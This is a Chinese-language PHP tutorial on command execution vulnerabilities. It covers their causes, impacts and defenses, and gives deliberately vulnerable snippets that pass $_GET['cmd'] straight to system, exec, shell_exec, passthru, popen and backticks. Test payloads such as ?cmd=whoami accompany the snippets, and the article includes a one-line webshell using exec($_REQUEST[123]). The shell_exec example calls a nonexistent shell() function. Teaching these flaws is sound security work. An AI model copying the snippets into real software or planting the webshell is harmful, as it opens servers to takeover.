php網(wǎng)絡(luò)安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究
漏洞的產(chǎn)生原因
- 代碼層過(guò)濾不嚴(yán)。應(yīng)用程序直接或間接使用了動(dòng)態(tài)執(zhí)行命令的危險(xiǎn)函數(shù),并且這個(gè)函數(shù)的運(yùn)行參數(shù)是可控的
- 系統(tǒng)的漏洞造成命令注入
漏洞的本質(zhì)
應(yīng)用有時(shí)需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),當(dāng)服務(wù)器沒(méi)有嚴(yán)格過(guò)濾用戶提供的參數(shù)時(shí),就有可能導(dǎo)致用戶提交惡意代碼被服務(wù)器執(zhí)行,從而造成命令執(zhí)行漏洞。
涉及到的函數(shù)
- 1.system
- 2.exec()
- 3.shell_exec()
- 4.passthru()
- 5.popen()
- 6.反引號(hào)
命令執(zhí)行漏洞的危害
- 1.繼承Web 服務(wù)器程序權(quán)限(Web用戶權(quán)限),去執(zhí)行系統(tǒng)命令
- 2.繼承Web服務(wù)器權(quán)限,讀寫文件
- 3.反彈Shell
- 4.控制整個(gè)網(wǎng)站
- 5.控制整個(gè)服務(wù)器
命令執(zhí)行漏洞的防御
- 1、盡量少使用執(zhí)行命令函數(shù)或者禁用disable_functions
- 2、在進(jìn)入執(zhí)行命令的函數(shù)之前,對(duì)參數(shù)進(jìn)行過(guò)濾,對(duì)敏感字符進(jìn)行轉(zhuǎn)義
- 3、參數(shù)值盡量使用引號(hào)包括,并在拼接前調(diào)用addslashes進(jìn)行轉(zhuǎn)義
命令執(zhí)行相關(guān)函數(shù)的使用
system()
- 說(shuō)明:能夠?qū)⒆址鳛镺S命令執(zhí)行,自帶輸出功能
- 測(cè)試參考代碼:
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
payload:?cmd=ipconfigexec()
- 說(shuō)明:能將字符串作為OS命令執(zhí)行,但無(wú)輸出,需要輸出執(zhí)行結(jié)果print。
- exec() 默認(rèn)只輸出最后一行的數(shù)據(jù)
- 如果想讓他輸出全部結(jié)果,可以加一個(gè)參數(shù),即exec(ifconfig,$arr); print_r($arr);,如一句話木馬:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
- 測(cè)試參考代碼
<?php
if(isset($_GET['cmd'])){
print exec($_GET['cmd']);
}
?>
payload:?cmd=whoamishell_exec()
- 說(shuō)明:執(zhí)行命令并以字符串的形式,返回完整的信息,但是函數(shù)無(wú)回顯,需要輸出執(zhí)行結(jié)果。
- 測(cè)試參考代碼
<?php
if(isset($_GET['cmd'])){
print shell($_GET['cmd']);
}
?>
payload:?cmd=whoamipassthru()
- 說(shuō)明:執(zhí)行外部命令,與system()類似,但是該函數(shù)會(huì)直接將結(jié)果輸出,無(wú)需輸出執(zhí)行。
- 測(cè)試參考代碼
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}
?>
payload:?cmd=whoamipopen()
- 說(shuō)明:能夠執(zhí)行OS命令,但是該函數(shù)并不是返回命令結(jié)果,而是返回一個(gè)文件指針
- 測(cè)試參考代碼
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
payload:?cmd=whoami反引號(hào)
- 說(shuō)明:反引號(hào)[``]內(nèi)的字符串,也會(huì)被解析成OS命令
- 反引號(hào)背后執(zhí)行的代碼其實(shí)是調(diào)用了shell_exec(),所以禁用了shell_exec()同樣反引號(hào)也無(wú)法使用了。
- 測(cè)試參考代碼
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
payload:?cmd=whoami到此這篇關(guān)于php網(wǎng)絡(luò)安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究的文章就介紹到這了,更多相關(guān)php命令執(zhí)行漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
PHP中文分詞的簡(jiǎn)單實(shí)現(xiàn)代碼分享
對(duì)于中文搜索引擎來(lái)說(shuō), 中文分詞是整個(gè)系統(tǒng)最基礎(chǔ)的部分之一, 因?yàn)槟壳盎趩巫值闹形乃阉魉惴ú⒉皇翘谩?/div> 2011-07-07
非常精妙的PHP遞歸調(diào)用與靜態(tài)變量使用
在PHP編程中,遞歸調(diào)用常常與靜態(tài)變量使用。靜態(tài)變量的含義可以參考PHP手冊(cè).希望下面的代碼,會(huì)更有利于對(duì)遞歸以及靜態(tài)變量的理解2012-12-12
php實(shí)現(xiàn)用手機(jī)關(guān)閉計(jì)算機(jī)(電腦)的方法
這篇文章主要介紹了php實(shí)現(xiàn)用手機(jī)關(guān)閉計(jì)算機(jī)(電腦)的方法,涉及php使用system方法調(diào)用系統(tǒng)命令的相關(guān)技巧,需要的朋友可以參考下2015-04-04
PHP實(shí)現(xiàn)更新中間關(guān)聯(lián)表數(shù)據(jù)的兩種方法
這篇文章主要介紹了PHP實(shí)現(xiàn)更新中間關(guān)聯(lián)表數(shù)據(jù)的兩種方法,在進(jìn)行多表操作時(shí)比較有參考價(jià)值,需要的朋友可以參考下2014-09-09最新評(píng)論

